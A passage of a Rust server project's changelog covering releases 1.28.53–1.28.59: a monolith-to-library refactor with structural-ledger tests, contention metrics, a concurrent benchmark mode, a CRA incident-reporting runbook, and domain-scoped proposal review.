  • M3 — lock bounds + contention completion: bounds comments on all 19 production lock fields (2 found beyond the plan’s list: ump_integrity::ReplayCache, connector::GitHubAppProvider — the latter comment-only, off the request path). 15 request-path holders rewire their acquisitions through concurrency::{mutex_guard_recovered, mutex_guard_measured, rwlock_read_recovered, rwlock_read_measured, rwlock_write_measured} — each site’s poison posture preserved verbatim (fail-closed limiter/registry/token-store, fail-open tracker/cache, recover-and-continue lane/decision-key). Histogram: 11 fixed µs edges (LOCK_WAIT_BUCKET_EDGES_US, 12 buckets) in concurrency.rs; LockWaitHistogram::quantile_edge_us is the deterministic scrape read. Named pins: rate_limiter_decision_is_pure_under_lock (identical decision vectors across fresh limiters through cap-hit eviction and budget exhaustion), token_rotation_swap_is_single_assignment (4 reader threads × 200 real file-mtime rotations through reload_if_changed_from:

    1 000 hot reads, >50 swaps, ZERO torn observations), lock_helpers_record_only_on_contention (fast path records NOTHING; contended acquire records), poison_flavors_keep_their_contracts.

  • M4 — live proof (docs/HEADROOM_PROOF_20260905.md, summary table in BENCHMARKS.md §v1.28.59): COPY instance, identical-corpus paired runs. WAL trajectory flat 0 in both cells (2000-doc burst; the 6000-doc burst showed the one mechanistic delta: a transient 34-page peak under full/1000 vs flat 0 under 256). p95 24.52 → 24.19 ms (noise — searches never fsync). Durability echo verified in both postures. Lock-wait gauges’ first live readings ≤10 µs. Machine: M1 Pro/16 GB/arm64.
  • Docs parity (same-commit law): configuration.md rows for both env vars; docs/metrics.md rows for brain_lock_wait_micros_p50/p95 + the /health/db durability.* keys; docs/api.md /health/db row; BENCHMARKS.md dated subsection.

Spire ledger: CRATE_TEST_FLOOR 1,207 → 1,221 (the new pins, re-measured by the same substring method). main.rs untouched. Wire: no route changes; /health/db additive JSON keys + /metrics additive series only; x-api-version moves with the release stamp.

Validation: full suite cargo test --features bench 1,275 passed / 0 failed / 1 ignored (plus the write-discipline trio and feature-gated modules under neural-embed,rerank-tier,injection-classifier); the full clippy/fmt/CI-dry-run gate ran at close (see AGENTS.md).

Ceilings (honest): the M1 ratchet is not the plan’s zero-allowlist — the plan’s verification was empirically wrong and the ratchet is the honest deposit (the burn is follow-up work); the split idiom’s mid-file blind spot is shared with every house gate; lock-wait coverage is request-path holders only (the mcp binary, the connector token cache, and the /health/db-scrape locks are comment-only, with reasons); quantiles are bucket edges, not interpolated percentiles (the dictionary says so); Jetson durability envelope unmeasured (no ARM runner); the 6000-doc WAL transient is one sample.

See docs/HEADROOM_PROOF_20260905.md for the raw captures.


[1.28.58] — 2026-09-05 — “Throughput”: concurrent truth, visible contention, the calendar as code — the Enterprise Line opens

Two deadlines make the milestone non-slottable: CRA Art 14 reporting goes live 2026-09-11 (24 h/72 h/final to ENISA + CSIRT), and every later Enterprise claim (“measured service levels”) would be unfounded while the bench is single-client and contention is invisible. The release ships the calendar-as-code mechanism, the concurrent measurement, the visibility, and the runbook — nothing behavioral changes on any request path: no new routes, none removed, no schema movement, x-api-version untouched, and main.rs untouched entirely (net delta 0; the thin binary stands).

Release notes

Bug fixes

  • None.

Improvements

  • The calendar becomes executable (src/reg_watch.rs, cfg(test), the docs_truth idiom — Enterprise law 13): each pinned regulation deadline carries its source URL and a date-shaped assertion. reg_watch_cra_pin _is_green asserts the CRA reporting runbook exists with its three clock anchors — landed RED (no runbook) and flipped GREEN the same release, proving the mechanism catches lateness; the deadline constant is load-bearing (the runbook’s stamped date is derived from it — a constant re-mapped without the doc fails the pin). AI Act Art 50 marking (2026-12-02) and the PQC inventory seam (2030-12-31) ride in watch form (today < DATE); the day a date passes without its deliverable, CI goes red on the pin, not in the operator’s inbox.
  • The bench learns concurrency (BENCH_CLIENTS, default 1 — the sequential run is byte-compatible): N clients fan out over the SAME seeded per-scale search mix (BENCH_SEED printed; no RNG crate — the mix stays a deterministic formula), samples merge per scale into pooled p50/p95/p99/max + non-2xx/transport failure counts + per-client skew (printed, not hidden). Ingest stays single-client at every value — the corpus build is untouched. BENCH_ASSERT_P95_MS is an envelope-free ship gate; BENCH_ENVELOPE gains a per-target concurrent p95 ceiling (search_p95_ms_ceiling): desktop 60 ms, measured from three live 8-client runs (22.28/22.86/23.07 ms — worst
    • ~2.5× margin, docs/THROUGHPUT_PROOF_20260905.md); jetson 150 ms marked unmeasured (no ARM runner). The merge is pinned deterministic (bench_clients_merge_is_deterministic).
  • Contention becomes visible (src/concurrency.rs): process-local counters (the audit-static precedent) surfaced on /metrics and /health/db, wired ONLY at existing error arms — zero added cost on success paths. brain_pool_timeouts_total counts r2d2 checkout failures at the handler error seam (HandlerError::db_down, the shared pool.get().map_err arm — 92 call sites collapsed onto it, wire-identical) and the workflow lane’s checkout arm; brain_busy_errors_total counts SQLITE_BUSY-family errors at the governed-write BEGIN sites (WorkflowTx::begin + the lane’s BEGIN IMMEDIATE); brain_pool_in_use{domain}/brain_pool_idle {domain} come from r2d2::State snapshots at scrape; brain_wal_pages_pending{domain} is refreshed ONLY by /health/db (the PASSIVE-checkpoint PRAGMA runs there and nowhere else — admin cold path). /health/db JSON gains additive concurrency.* keys. A proptest pins counter monotonicity under Relaxed ordering (2 cases).
  • The metrics dictionary gains its ops twin — every /metrics series (the ten brain_* names) now has a docs/metrics.md dictionary row, pinned by the new metrics_series_have_dictionary_rows meta-test (the scoreboard parity discipline applied to telemetry); docs/api.md’s /health/db row and openapi.yaml (additive-only) updated in the same change.
  • The CRA reporting runbook + timed drill (docs/cra-reporting -runbook.md, scripts/cra-report-drill.sh): trigger taxonomy, the three clocks with their templates, the ENISA + CSIRT channel table with a deploy-time operator blank, the artifact checklist (SBOM, affected-version matrix, containment statement, signed release, audit posture), and the operator-role call (honest: these are one operator’s hats). The drill fabricates an exploited-vuln notice, fills the 24 h template, stamps every step, and prints a timing report; the baseline is archived in docs/THROUGHPUT_PROOF_20260905.md.
  • CI gains the concurrent-truth gate (bench-concurrency, desktop x86 runner only): boots a release-built scratch instance and drives it with BENCH_CLIENTS=8 BENCH_SEARCHES=200 BENCH_ASSERT_P95_MS=10000 (generous by design — the gate fails on catastrophic contention serialization, not runner noise; retry-once documented), then asserts the scrape surface survived. Jetson floors stay local-measured — the known no-ARM-runner gap, printed honestly.

Security fixes

  • None. (Visibility + rehearsal ARE the posture work: contention that cannot be seen cannot be capacity-planned, and a reporting clock that has never been rehearsed will be missed.)

Engineering record

  • Drift adaptations (the prompt’s cites predate the Capstone flip; adapted in the same change, as instructed): the /metrics handler is src/server/router/core.rs::metrics (was main.rs ~2092); the r2d2 pool builder is src/server/bootstrap.rs (was main.rs ~5393); resolve_domain_pool lives in src/handlers/mod.rs and resolves REGISTRIES, not connections — its error arms are domain-resolution errors, so the checkout-timeout counter wires at the actual checkout arms (the 92-site HandlerError::db_down seam + the lane), which is where r2d2 timeouts observably surface.
  • Counters are process-local by design (single-process truth; multi-site aggregation remains Parcels federation). brain_busy_errors_total and brain_db_busy_total are deliberately distinct series: write-path BEGIN-site busy vs audit-tx settle busy.
  • Honest ceilings: the CI concurrency floor is x86-desktop only; jetson floors are constants pending a device run. The WAL gauge on /metrics is a cached snapshot (fresh only as recent as the last /health/db scrape) — the PRAGMA must not run per request. Some checkout-error sites outside the shared handler seam (the /add AddResponse arms, anyhow-context sites in search/domain-router internals) do not bump brain_pool_timeouts_total — wiring them would have meant touching arms the milestone freezes; the seam covers the dominant handler surface.
  • Live proof (copy instance, docs/THROUGHPUT_PROOF_20260905.md): 3× measured runs (1600/1600 ops, 0 failures, p95 22.28–23.07 ms); same- seed structural diff identical; /metrics before/during/after a 6 400-search burst shows brain_pool_in_use 0 → 5 → 0 with counters flat at 0; CRA drill baseline archived.
  • Gates: full suite per surface (lib 1031+ / main_suite 163+ / authz matrix / metrics / eval / bench + reg_watch + concurrency pins); clippy -D warnings on all surfaces incl. otel; fmt clean; spire gates green (main.rs untouched, net delta 0); CRATE_TEST_FLOOR raised with the new pins.

[1.28.57] — 2026-09-05 — “Capstone”: the enforcing flip + the audit — the Spire Line closes

The Spire Line’s fin. No behavior change of any kind: no new routes, no removed routes, no wire edits (openapi.yaml diff-empty vs v1.28.56), no schema movement (1.28.45 stands). Capstone makes the line’s end state IMPOSSIBLE TO UNDO QUIETLY: main.rs is a ≤ 300-line wiring file (the whole 12k-line test region moved verbatim to tests/main_suite.rs), two grep gates born hard enforce the router law and the protocol-free bootstrap, the dead ceilings retire, and the whole line’s measured before/after lands in docs/AUDIT.md.

Release notes

Bug fixes

  • None. (Nothing behavioral moved — by design; the release’s whole point is proving exactly that with a wire-diff-empty gate.)

Improvements

  • main.rs 12,471 → 124 lines (wiring only: bootstrap → compose → serve, with a header comment pointing at the router law). The whole cfg(test) region — 12,294 lines, 109 plain + 60 tokio test fns — moved VERBATIM to tests/main_suite.rs: identical verdicts (163 passed + 6 ignored), nothing deleted; the only edits are the include_str! anchors (now CARGO_MANIFEST_DIR-absolute) and the root use-block that traveled with the region so use super::* resolves exactly as before.
  • The grep gates join the family (src/spire_inventory.rs), hard errors from birth, each RED-PROOFED against a planted violation before its green commit and self-pinned inline forever (the Cornerstone lesson — a scanner that cannot fire guards nothing): route_registrations_live_only_under_router — a route registration anywhere under src/ outside src/server/router/** (production, test, or comment residue) fails CI, with ONE fenced carve-out: src/bin/mcp.rs, a separate binary’s single-endpoint /mcp protocol edge, pinned at EXACTLY one site; and bootstrap_stays_protocol_free — no axum types in src/server/bootstrap.rs (word-boundary needles so a comment’s “takes an axum type” or “RequestBodyLimitLayer” never fires; the type names do).
  • The ledger’s final posture — ceilings retire where violations are structurally impossible (the Cornerstone precedent), floors survive: MAIN_RS_LINES_CEIL → MAIN_RS_LINES_MAX ≤ 300 (the pin IS the ceiling); the test region retired via a region-ABSENCE pin; MAIN_RS _TEST_FLOOR retired per its own relocation convention (its 109 pins moved this release); ROUTE_CALL_SITES retired early (main.rs routes pinned to 0); TOTAL_SRC_TEST_FLOOR → CRATE_TEST_FLOOR over src/ + tests/ (re-measured 1,196 at the move; 1,198 at close — the gates added two); ROUTER_SITES_FLOOR 199 and guard-table rows 161/145 survive.
  • src/route_guards.rs re-homed to src/server/router/route_guards.rs beside the registrations it tables (decl moves; content unchanged — 100% rename). spire_inventory.rs stays beside main.rs — its subject.
  • The Spire Line close-out report appended to docs/AUDIT.md (per the Foundation pattern): the measured before/after (main.rs 19,906 → 124; region 13,342 → absent; main.rs route sites 234 → 0; router sites 199 floored; crate pins 1,178 → 1,198), the module map (what moved where across all four milestones), and the enforcement map (which gate guards which law).

Security fixes

  • None. (The enforcement ADDITION is the security story: the router law and the protocol-free bootstrap are now machine-checked, so the end state cannot be undone quietly — every scanner red-proofed and self-pinned.)

Engineering record

Order of landing (four commits, gate + proof per commit):

  1. THE EVACUATION — the test mass moves out; main.rs 124 lines; the ledger’s posture edited in the same commit (the Scaffold law). The new pin bit during development exactly as designed: it caught the main.rs header comment’s own route-needle literal and a one-off floor miscount (the needle counts doc-comment literals too — the substring lock, measured identically every time) before the commit.
  2. THE GATES — born hard, red-proof shown before the green commit: a planted route-registration comment in src/config.rs turned the route gate red naming the file; a planted axum-type comment in bootstrap.rs turned the protocol gate red ([axum::, Router]); both plants reverted. En route the route gate flagged its OWN doc comment carrying the needle literal — rewritten; the gate polices even its documentation.
  3. THE RE-HOME — route_guards beside the families; consumers re-pathed (spire_inventory, tests/authz_matrix.rs, tests/main_suite.rs).
  4. THE RECORD — docs/AUDIT.md Spire close-out, this changelog, the version bump, badges from the real build.

Ledger (spire), Vaulting → Capstone: main.rs 12,471 → 124; region 12,294 → absent (absence-pinned); main.rs route sites 35 → 0 (pinned); router sites 199 (floor held); crate #[test] 1,185 (src needle) → 1,198 (src + tests needle; floor 1,196 never decreases); guard rows 161 / 145 held.

Validation: full suite 1,265 passed / 7 ignored (–features bench) at the tip, green at every commit; clippy -D warnings (bench) clean; fmt clean; lipstyk diff-strict green vs the v1.28.56 tip; CI dry-run green (default lint+test, engine-crates, steward-harness, otel lint + test); wire artifacts byte-identical (openapi.yaml diff-empty; route-coverage + route-authz verdicts identical; x-api-version moves with the release stamp only); live smoke on the COPY instance green (/health, /audit/verify ok, the 413 + 408 paths, one ingest → recall round-trip).

Ceilings (honest): src/bin/mcp.rs keeps its own router (a separate binary’s protocol edge, fenced at exactly one site — folding it under the families would be a behavior-adjacent refactor the line’s standing rule forbids); tests/main_suite.rs is one ~12k-line file (the mass moved as ONE verbatim block; splitting is churn without a subject); the ≤ 300 pin is a pin, not a proof of minimalism — the route gate is the tooth. The Spire Line is CLOSED; the Enterprise Line (.58+) inherits a thin binary, a pinned router, and contention gauges.

Predecessor: [1.28.56] — “Vaulting”: the lib flip.


[1.28.56] — 2026-09-04 — “Vaulting”: the lib flip — bootstrap + router decomposition

Third milestone of the Spire Line. No behavior change of any kind: no new routes, no removed routes, no wire edits, no schema movement. Vaulting splits the monolith into the thin-bin seam: the server module tree moved into the library behind a single named surface (pub mod server { boot strap, router }), the boot region became a protocol-free bootstrap(), the inline router chain became six family builders, and main.rs collapsed to wiring (main + serve + graceful shutdown) over its test region.

Release notes

Bug fixes

  • None.

Improvements

  • None (refactor-only release; the wire is byte-identical to 1.28.55).

Security fixes

  • None. The authz posture is UNCHANGED and now continuously verified: the new law-9 matrix drives every AUTHZ_GATES row through the composed router in seven principal classes (none/read/write/admin/cross-tenant/ role-held/role-denied) plus an opaque-mode superuser block, asserting 401/403 per cell, with literal-200 anchors on the empty-safe list reads.

Engineering record

Scope landed, in order (one commit per move family):

  1. Middleware stack + auth middlewares staged into server/router/{mod, auth}.rs (C1a).
  2. app(state) composition lifted out of main_inner; the middleware inputs (token store, JWT state, CORS) moved onto AppState so the composition is a pure function of state; the three middleware oneshot suites moved into server/router/auth.rs with their subjects (C1b).
  3. server/bootstrap.rs receives the whole boot region — argv guard, fail-closed checks (auth misconfig, write posture, model pinning), OTLP init, sqlite-vec registration, audit chain key, pool + offline modes, pre-migration backup, model load, migration, legacy cutover, PRF report, connection/RSS watchdogs, token rotation watcher, integrity scheduler, pool health probe, rate limiter, CORS build, JWT/JWS wiring incl. the UMP key-dir scan + revocation purge, JwtMiddlewareState, AppState construction + the four alert watchers + multi-db seed, webhook drain worker, bind resolution + loopback-bind guard + unsigned-egress warnings. boot.rs folds in whole (ct_eq, argv, worker threads, bind predicates — pins travel). main_inner is now the serve loop only (C2).
  4. app(state) moves to server/router/mod.rs; the six family builders land — core (17 routes), memory (56 + the 3-route deprecated legacy fragment + the 1 GiB import_router), ump (12), compliance (10 + the 5-route feature-gated pack), workflow (82), auth (9). mod.rs keeps the middleware fns, CSP consts, and the merge/layer order; the Deprecation route_layer’s application set is preserved exactly (core ∪ legacy fragment — the original chain’s set, byte-for-byte). main.rs retains ZERO production .route( registrations (C3).
  5. THE LIB FLIP: lib.rs declares the whole server tree with pub mod server as the only named surface; main.rs consumes it via brain_server::server::...; the law-9 matrix moved to tests/authz_matrix.rs driving brain_server::server::router::app from outside the crate — the lib seam earns its keep (C4/C5).
  6. Law-13 gauges: brain_db_busy_total (SQLITE_BUSY surfaced at the audit seam) on /metrics, db_busy_hits in the /health hardening block, beside the existing pool-saturation gauges. Honest ceiling: busy-HANDLER invocation counts require replacing the 5s busy_timeout — a concurrency change law 13 freezes; observe failures, not waits.

Law-9 net (the milestone’s safety story): the matrix went green on the pre-split monolith and ran unchanged through every family commit. Pre-gate vocabularies the census surfaced and codified: soft-deny 200 shapes (/add /search /ingest/memory /v1/embeddings /reindex /audit /audit/verify), SSE in-band denial (/events /ump/subscribe), pre-gate 404s (workflow run-bound rows, kcs approve/publish), pre-gate 400 (/workflow/plugins/mount), and the layout-conditional /consolidate/propose (Read in multi-db, Admin in shim).

Ledger (spire), Buttress → Vaulting: MAIN_RS_LINES 18,291 → 12,470; TEST_REGION 12,302 → 12,294; main.rs route sites 234 → 35 (test stubs only; production registrations: 199 under src/server/router/**, floored); MAIN_RS_TEST floor 109 held (moved suites were tokio tests); ROUTER_SITES_FLOOR 199 gained (≥6 family files asserted). Wire artifacts: openapi.yaml byte-identical to v1.28.55; x-api-version moves only with this release stamp.

Validation: full suite 1,022 bin + 163 lib + 208/37/19/6/8/4/3/1 passed / 6 ignored, identical at every gate; clippy -D warnings (bench + otel + default) clean; fmt clean; lipstyk diff-strict exit 0; CI dry-run green (default, crates, steward-harness, otel); live smoke on a DB copy: /health, /audit/verify ok, 413 + 408 paths, and one 2 MiB import round-trip proving the 1 GiB dial survived the split.

Ceilings (honest): main.rs keeps its 12k-line test region (the non-router-bound mass moves at Capstone with the docs_truth/dup_guard decls); busy-HANDLER hit counts are unobservable without changing frozen concurrency semantics (gauges observe busy FAILURES at the audit seam instead); /consolidate/propose remains layout-conditional (Read in multi-db, Admin in shim) exactly as authored.


[1.28.55] — 2026-09-03 — “Buttress”: the helpers come home — the pre-main library code promoted with its pins

Second milestone of the Spire Line. No behavior change of any kind: no new routes, no removed routes, no wire edits, no schema movement. Buttress promotes the axum-free half of the pre-main region into four bin-private modules — every fn relocated with its own unit pins in the same commit, the structural ledger lowered in that same commit, every move by exact-text relocation so nothing but paths changed.

Release notes

Bug fixes

  • None. (Nothing behavioral moved — the release’s gate is proving that: wire artifacts diff-empty, full suite byte-count identical at 1,031 bin tests passed / 6 ignored per commit.)

Improvements

  • src/http_limit.rs (new): the HTTP-edge load-control family — the per-IP RateLimiter (with the bounded-bucket eviction), the ConnectionTracker + RAII TrackerEntry, the connection and RSS watchdogs, and process_rss_mib — promoted from main.rs with all nine of its unit pins (tracker ×3 + Drop/panic + timeout-slot, limiter ×3, RSS ×1).
  • src/screen.rs gains the layer-1 blocklist: contains_suspicious_pattern moved beside is_invisible (which the matcher calls), with its seven pins including the S2-44/F-61 normalization pin. Same-crate callers (search core, channel annex, handlers) repoint to crate::screen::contains_suspicious_pattern.
  • src/screen.rs gains the quarantine read-seam pair: flag_if_quarantined (the Quarantine verdict’s persistence) and suppress_flagged_evidence (the verdict’s read-seam enforcement) with the snippet pin. Service-layer callers (procedure, recall, ingest) repoint to crate::screen::*.
  • src/graph_read.rs (new): the signature-clean graph read helpers — clamp_graph_limit, traverse_row_mapper, build_explanation_paths — with the two explanation-path pins. The AppError-typed graph SQL fns (entity_relations, relations_for) deliberately STAY in main.rs: their signatures carry the IntoResponse error type, which fails the Buttress selection rule (moves iff the signature is already free of transport types); they ride with Vaulting’s graph family.
  • src/boot.rs (new, staged): the boot guards — argv gate, BRAIN_WORKER_THREADS resolution, the loopback-bind fail-closed predicates + guard, and the constant-time ct_eq — with the ct_eq and bind pins. Deliberately NOT src/server/**: that tree is born at Vaulting with the lib flip, and staging there early would defeat its design.
  • The frozen structural ledger (spire_inventory) tracks every move: MAIN_RS_LINES 19,282 → 18,291, TEST_REGION_LINES 12,712 → 12,302, MAIN_RS_TEST_FLOOR 129 → 109 across the five move commits; the never-decreases crate-test floor re-measured 1,178 → 1,185 and the guard-table floors 151/141 → 161/145 at the Buttress open so the guards stay tight.

Security fixes

  • None. (No security-relevant behavior changed; the loopback-bind guard, the blocklist, the quarantine flag, and the read-seam suppression all moved verbatim, pins proving identical behavior.)

Engineering record

  • Five move commits, one family each, ledger lowered in the same commit as every move: a1480e7 http_limit (fn family + 9 pins), 5a19760 blocklist → screen (fn + 7 pins), 19d3de8 fence kin → screen (2 fns + snippet pin), 1f26978 graph_read (3 fns + 2 pins), c9ae723 boot (6 fns + 2 pins). Wrap commit: this one.
  • The ledger bit twice exactly as designed: once when the first commit moved 8 #[test]-needle pins plus one #[tokio::test] (the needle count is 121, not 120 — the floor edit says 121), and once when a botched insertion+range-delete consumed the screen_folds pin before commit (crate total dipped 1,185 → 1,184; repaired pin-by-pin, then committed). Both failures were the design working.
  • Executor ceilings (honest): (1) the ingest write core (write_markdown_ingest, link_vault_source, parse_memory_content) did NOT move — the two write fns return Result<_, AppError>, and AppError implements IntoResponse (transport-shaped), so the family fails the selection rule and rides with Vaulting’s memory family; the three source-scan pins stay pointed at main.rs, where their subjects still live, and their verdicts are unchanged. (2) html_escape + parse_annotations stayed: their consumers are the axum ingest handlers, which the prompt’s scope gate excludes. (3) measure_capacity stayed (the prompt’s default; its caller wiring — /health + the ingest 507 paths — is router substance). (4) the router-level pins (rate_limit_buckets_per_socket_addr…, ingest_timeout… is moved, rate_limit_layer_is_outside_auth_layers, graph_reads_scope_filtered, graph_skips_flagged_edges, ingest_quarantines_flagged_instead_of_rejecting) stay with their router/DB subjects or their test_db() fixture, per the stays list.
  • TrackerEntry::count is now #[cfg(test)] (it was already test-only); the router-level budget pin reads the new RateLimiter::WINDOW_BUDGET_PROBE const instead of the private max_requests field. No signature changes otherwise.
  • Validation per commit: fmt, clippy -D warnings (bench), affected suites + full bin suite (1,031 passed / 6 ignored — identical every commit), spire green with exact measured values. Wrap: full CI dry-run (default-features lint+test, crates, steward-harness, otel), lipstyk diff-strict, badges selfcheck, wire artifacts diff-empty (openapi.yaml, route-coverage, route-authz, x-api-version), live smoke on the rebuilt binary (/health + /audit/verify ok).

[1.28.54] — 2026-09-03 — “Scaffold”: the Spire Line opens — measure, freeze, evacuate what needs no router — 2026-09-03 — “Scaffold”: the Spire Line opens — measure, freeze, evacuate what needs no router

First milestone of the Spire Line (the monolith dismantling). No behavior change of any kind: no new routes, no removed routes, no wire edits, no schema movement (schema stays at 1.28.53). Scaffold ships the measuring stick and the contract: a machine-enforced structural ledger over main.rs, the buried route guard tables promoted to named data, and the test mass that pins module-owned pure functions relocated to live beside its subjects.

Release notes

Bug fixes

  • None. (Nothing behavioral moved — by design; the release’s whole point is proving exactly that with a wire-diff-empty gate.)

Improvements

  • src/spire_inventory.rs (cfg(test)): the frozen structural ledger — ceilings MAIN_RS_LINES ≤ 19_282, TEST_REGION_LINES ≤ 12_712, ROUTE_CALL_SITES ≤ 234; floors MAIN_RS_TEST ≥ 129, crate-wide #[test] ≥ 1,178, guard-table rows ≥ 151 / ≥ 141. Ceilings only move DOWN, and only in the same commit as the extraction that earned the shrink. Shipped red-then-green: the guard’s first commit asserted deliberately tight wrong ceilings and failed loudly on all three.
  • The route-coverage table (151 paths) + route-authz table (141 gates) are now named data in src/route_guards.rs instead of arrays buried at line ~12k of main.rs; the guard tests consume the consts with identical verdicts, and their row counts are floored in the ledger.
  • Ten pure-unit test families relocated verbatim to their subjects’ own modules (handlers ×6, config, temporal, trace, eval) — pin travels with the thing it pins. main.rs: 19,906 → 19,282 lines; the test region 13,342 → 12,712.

Security fixes

  • None. (The authz source-scan and coverage pins are byte-identical in verdict; the tables they read gained floors so a row can only be dropped in the same commit as the wire change that earns it.)

Engineering record

Commit sequence (each commit gate: fmt + clippy -D warnings + affected suites; full bin suite re-run per commit):

  1. test(spire) — the inventory guard, born red; roadmap numbers re-measured to session-start truth (19,906 lines / region from L6,565 / 234 route sites / 139 pins) per the executor stop-rule.
  2. test(spire) — green: ceilings set to measured truth (19,909 / 13,342 / 234; the +3 ledger decl lines honestly included).
  3. refactor(spire) — guard tables → src/route_guards.rs as data; ceilings 19,467 / 12,897; docs_truth’s test-file-skip preserved by declaring the module from main.rs (a #[cfg(test)] pub mod inside handlers/mod.rs would have skipped it from the comment guard).
  4. refactor(spire) — the handlers-family pins (authorize ×3, audit_scope ×2, typed-edge) relocate into handlers/mod.rs.
  5. refactor(spire) — config/temporal/trace/eval pins relocate.
  6. fix(spire) — CORRECTION: commit 4’s line-numbered seds ran after an earlier edit had shifted the file, so five originals (authz ×3, audit_scope ×2, typed-edge) survived in main.rs alongside their relocated copies — different modules, so the compiler never fired, and the suite double-ran five pins (1,319 “passed” included 5 ghosts). Caught by reconciling the pin arithmetic (139 − 10 relocations ≠ 134 measured); the stale copies are removed, main.rs floor honestly 129, totals 1,314 passed / 7 ignored. Lesson encoded in the line’s prompts: relocate by exact-text match, never by line number.
  7. docs + version (this commit).

Landed truth: main.rs 19,906 → 19,282 lines; test region 13,342 → 12,712; route sites frozen at 234 (Vaulting owns every route move).

Deliberately NOT moved (ceilings say so): the route chain (234 .route( sites — Vaulting/M3 owns every route move); the screen family (its subject contains_suspicious_pattern is still main.rs-owned — the pin travels when Buttress/M2 promotes the fn); bind predicates, tracker, rate-limiter, explanation-paths, snippet-suppression (all main.rs-owned subjects); every test_db()-driven suite (DB/router-integration mass, ~900 lines — they move with the handler families or to tests/ at the lib flip).

Floors are load-bearing proof: the ledger fired once in development — relocating the handlers family without lowering MAIN_RS_TEST_FLOOR in the same commit failed exactly as designed (“a pin left main.rs without its spire_inventory edit”) — the red-then-green discipline works in both directions.

Validation: full suite cargo test --features bench green per commit (1,314 passed / 7 ignored at tip: bin 1,031 + lib 208 + CLI/bins 63 + integration 12), clippy -D warnings clean on the bench surface, cargo fmt --check clean, scripts/lipstyk-gate.sh diff-strict green, openapi.yaml + route-coverage + route-authz wire artifacts diff-empty, x-api-version untouched, /health smoke green on the rebuilt binary. Ceilings (honest): route-call-site ceiling frozen at 234 (routes move in Vaulting, not Scaffold — “strictly below” applies to the line/region ceilings); no chunker/capacity pure pins existed in main.rs to relocate (their homes already own them); the v1.28.35-era roadmap numbers were stale and were re-measured in the opening commit.


[1.28.53] — 2026-09-03 — “Triage”: proposals gain a domain — the review queue is domain-scoped FOR REAL

The gap discovered during “Parcels” (v1.28.30): the proposals table predates domains and had NO domain/title columns — parcel imports landed as GLOBAL pending proposals, distinguishable only by their parcel:{domain}:{signer} source label, and a receiving site’s reviewers saw foreign autocaptures mixed with imported parcels in one undifferentiated queue. Triage makes the label REAL: every proposal row carries its residency domain, the queue reads scope by it, the by-id verbs re-authorize against the ROW’s label before any decision CAS, and parcels stamp the TARGET domain. The piggyback rule is paid in the same change: the review surface’s storage story is extracted out of service::gate into a named service::review core. First feature release after the Foundation Line; schema moves 1.28.45 → 1.28.53 (additive only).

Release notes

Bug fixes

  • Imported parcels are reviewable per-site. A parcel import now stamps every proposal with the TARGET domain, so a receiving site’s reviewer sees the imported rows (and only them, via ?domain=) instead of every site’s mixed queue.
  • A cross-domain reviewer can no longer decide a foreign-domain proposal. Approve, reject, and edit re-check the ROW’s domain against the caller INSIDE the decision transaction, BEFORE the CAS — a proposal stamped for another domain is a loud 403 with the row untouched, never a silent promotion by a caller its domain never answered for.

Improvements

  • Schema 1.28.53 (additive, idempotent): proposals.domain TEXT NOT NULL DEFAULT 'global' + nullable proposals.title + the idx_proposals_status_domain index. Existing rows keep 'global' forever — provenance beats guessing. The schema-contract test gains the missing expected_proposals_cols block.
  • GET /proposals?domain=<label> scopes the queue to one domain; the read gate checks the REQUESTED domain (fail-closed 403 for a foreign one; loopback/opaque unchanged). Every queue row now carries its domain and optional title (the autocapture source title, the parcel row title); POST /ingest/proposal accepts the optional bounded+screened title.
  • Parcels dedup narrows: the pending-scan filters to the target domain PLUS one global pass, so a foreign domain’s outstanding reviews never swallow this domain’s rows while pre-Triage global pendings still dedup.
  • Crew skills proposals stamp the change’s target domain — the review queue scopes them to the domain whose roster they edit.
  • service::review (NEW): the proposals aggregate’s complete storage story — the page read (status + since + the domain clamp + the cap), the creation insert, the decision CASes (approve / reject / translate / TTL), the edit path, the conflict pre-check, and the deadline/SLA derivation — extracted from service::gate, which keeps the KCS/promotion/export machinery. Pinned by review_core_has_no_http_types.

Security fixes

  • The row-domain re-auth above is the release’s hardening: by-id review verbs (approve/reject/edit) now authorize twice — the queue posture at the route, and the row’s own residency label before the CAS.

Engineering record

  • The plan-to-reality mapping (deviations, declared): the plan’s “gate.rs ~4 sites” was written before Cornerstone drained the handlers — the insert sites now live in service::gate::insert_proposal (ONE definition, which this release extends with domain+title); the plan’s list_proposals_page is the review core’s pending_page (the Cornerstone name kept); the plan’s sql_inventory_baseline gate.rs-row check is SUPERSEDED — the enforcing flip deleted the baseline machinery, and no_sql_in_handlers_enforced (still green) holds handler SQL at ZERO, so the extraction is a service-core split (gate → review), not a handler drain. The piggyback rule’s intent — the review surface’s core named in the same change that scopes it — is honored.
  • Write-site inventory: production INSERT INTO proposals sites WITHOUT an explicit stamp ride the column’s 'global' default by design (outreach, complaints, KCS, channel user-map/template, webhook drafts, CRM merge-suggestions — all global acts with id/kind-scoped reads). Explicit stamps: the review core (create_proposal’s authorized domain), parcels (target domain), crew skills (change domain).
  • Tests (+5 named pins): proposal_rows_carry_their_domain_and_clamp_to _caller_scopes (service::review), approve_reauths_row_domain_before_the _cas (main.rs, handler-level: 403 + row untouched, then the same caller with the grant approves), parcel_import_proposals_scope_to_the_target _domain + pending_dedup_narrows_to_domain_without_losing_global_rows (workflow::parcels), review_core_has_no_http_types (service::pins). Moved-with-pins: the three service::gate queue-read pins ride the extraction verbatim (call sites adapted to the new domain parameter).
  • Wire artifacts: openapi.yaml — /proposals gains the domain query param + description; /ingest/proposal gains title (maxLength 500); the ProposalView component schema is now DEFINED (the two $refs were dangling since the view shipped — fixed opportunistically with the domain/title fields added); /ops/workload’s gate_backlog description no longer claims “proposals carry no domain column” (the attribution stays lineage-only). docs/api.md updated; the Parcels ceiling “no per-domain review queue yet” is LIFTED. No new routes; the route-coverage and route-authz guard tables are unchanged by construction.
  • Gates: fmt clean; clippy --all-targets --features bench -D warnings green; full suite +N passed / 7 ignored (delta below); CI dry-run set green (default-features clippy/test, engine-crates, steward-harness, otel). Live smoke on a DB COPY: see below.
